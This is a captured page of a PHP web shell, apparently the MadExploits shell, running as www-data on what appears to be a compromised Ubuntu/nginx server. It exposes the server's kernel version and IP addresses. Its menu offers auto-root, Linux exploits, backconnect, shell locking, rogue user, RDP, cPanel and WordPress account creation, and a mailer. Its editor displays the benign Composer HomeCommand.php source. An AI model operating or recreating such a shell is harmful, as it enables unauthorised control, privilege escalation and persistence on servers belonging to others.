Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Composer /
Command /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutCommand.php
1.28
KB
-rw-r--r--
ArchiveCommand.php
7.61
KB
-rw-r--r--
BaseCommand.php
9.54
KB
-rw-r--r--
BaseDependencyCommand.php
8.88
KB
-rw-r--r--
CheckPlatformReqsCommand.php
7.82
KB
-rw-r--r--
ClearCacheCommand.php
2.24
KB
-rw-r--r--
ConfigCommand.php
34.37
KB
-rw-r--r--
CreateProjectCommand.php
23.64
KB
-rw-r--r--
DependsCommand.php
1.78
KB
-rw-r--r--
DiagnoseCommand.php
27.21
KB
-rw-r--r--
DumpAutoloadCommand.php
5.16
KB
-rw-r--r--
ExecCommand.php
3.46
KB
-rw-r--r--
FundCommand.php
5.29
KB
-rw-r--r--
GlobalCommand.php
3.91
KB
-rw-r--r--
HomeCommand.php
5.51
KB
-rw-r--r--
InitCommand.php
43.4
KB
-rw-r--r--
InstallCommand.php
7.55
KB
-rw-r--r--
LicensesCommand.php
7.08
KB
-rw-r--r--
OutdatedCommand.php
4.96
KB
-rw-r--r--
ProhibitsCommand.php
1.96
KB
-rw-r--r--
ReinstallCommand.php
8.35
KB
-rw-r--r--
RemoveCommand.php
14.04
KB
-rw-r--r--
RequireCommand.php
22.24
KB
-rw-r--r--
RunScriptCommand.php
5.1
KB
-rw-r--r--
ScriptAliasCommand.php
2.15
KB
-rw-r--r--
SearchCommand.php
4.69
KB
-rw-r--r--
SelfUpdateCommand.php
25.17
KB
-rw-r--r--
ShowCommand.php
54.07
KB
-rw-r--r--
StatusCommand.php
8.3
KB
-rw-r--r--
SuggestsCommand.php
3.99
KB
-rw-r--r--
UpdateCommand.php
16.38
KB
-rw-r--r--
ValidateCommand.php
10.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HomeCommand.php
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Command; use Composer\Package\CompletePackageInterface; use Composer\Repository\RepositoryInterface; use Composer\Repository\RootPackageRepository; use Composer\Repository\RepositoryFactory; use Composer\Util\Platform; use Composer\Util\ProcessExecutor; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @author Robert Schönthal <seroscho@googlemail.com> */ class HomeCommand extends BaseCommand { /** * @inheritDoc * * @return void */ protected function configure() { $this ->setName('browse') ->setAliases(array('home')) ->setDescription('Opens the package\'s repository URL or homepage in your browser.') ->setDefinition(array( new InputArgument('packages', InputArgument::IS_ARRAY, 'Package(s) to browse to.'), new InputOption('homepage', 'H', InputOption::VALUE_NONE, 'Open the homepage instead of the repository URL.'), new InputOption('show', 's', InputOption::VALUE_NONE, 'Only show the homepage or repository URL.'), )) ->setHelp( <<<EOT The home command opens or shows a package's repository URL or homepage in your default browser. To open the homepage by default, use -H or --homepage. To show instead of open the repository or homepage URL, use -s or --show. Read more at https://getcomposer.org/doc/03-cli.md#browse-home EOT ); } /** * @inheritDoc */ protected function execute(InputInterface $input, OutputInterface $output) { $repos = $this->initializeRepos(); $io = $this->getIO(); $return = 0; $packages = $input->getArgument('packages'); if (!$packages) { $io->writeError('No package specified, opening homepage for the root package'); $packages = array($this->getComposer()->getPackage()->getName()); } foreach ($packages as $packageName) { $handled = false; $packageExists = false; foreach ($repos as $repo) { foreach ($repo->findPackages($packageName) as $package) { $packageExists = true; if ($package instanceof CompletePackageInterface && $this->handlePackage($package, $input->getOption('homepage'), $input->getOption('show'))) { $handled = true; break 2; } } } if (!$packageExists) { $return = 1; $io->writeError('<warning>Package '.$packageName.' not found</warning>'); } if (!$handled) { $return = 1; $io->writeError('<warning>'.($input->getOption('homepage') ? 'Invalid or missing homepage' : 'Invalid or missing repository URL').' for '.$packageName.'</warning>'); } } return $return; } /** * @param bool $showHomepage * @param bool $showOnly * @return bool */ private function handlePackage(CompletePackageInterface $package, $showHomepage, $showOnly) { $support = $package->getSupport(); $url = isset($support['source']) ? $support['source'] : $package->getSourceUrl(); if (!$url || $showHomepage) { $url = $package->getHomepage(); } if (!$url || !filter_var($url, FILTER_VALIDATE_URL)) { return false; } if ($showOnly) { $this->getIO()->write(sprintf('<info>%s</info>', $url)); } else { $this->openBrowser($url); } return true; } /** * opens a url in your system default browser * * @param string $url * @return void */ private function openBrowser($url) { $url = ProcessExecutor::escape($url); $process = new ProcessExecutor($this->getIO()); if (Platform::isWindows()) { $process->execute('start "web" explorer ' . $url, $output); return; } $linux = $process->execute('which xdg-open', $output); $osx = $process->execute('which open', $output); if (0 === $linux) { $process->execute('xdg-open ' . $url, $output); } elseif (0 === $osx) { $process->execute('open ' . $url, $output); } else { $this->getIO()->writeError('No suitable browser opening command found, open yourself: ' . $url); } } /** * Initializes repositories * * Returns an array of repos in order they should be checked in * * @return RepositoryInterface[] */ private function initializeRepos() { $composer = $this->getComposer(false); if ($composer) { return array_merge( array(new RootPackageRepository($composer->getPackage())), // root package array($composer->getRepositoryManager()->getLocalRepository()), // installed packages $composer->getRepositoryManager()->getRepositories() // remotes ); } return RepositoryFactory::defaultRepos($this->getIO()); } }
Close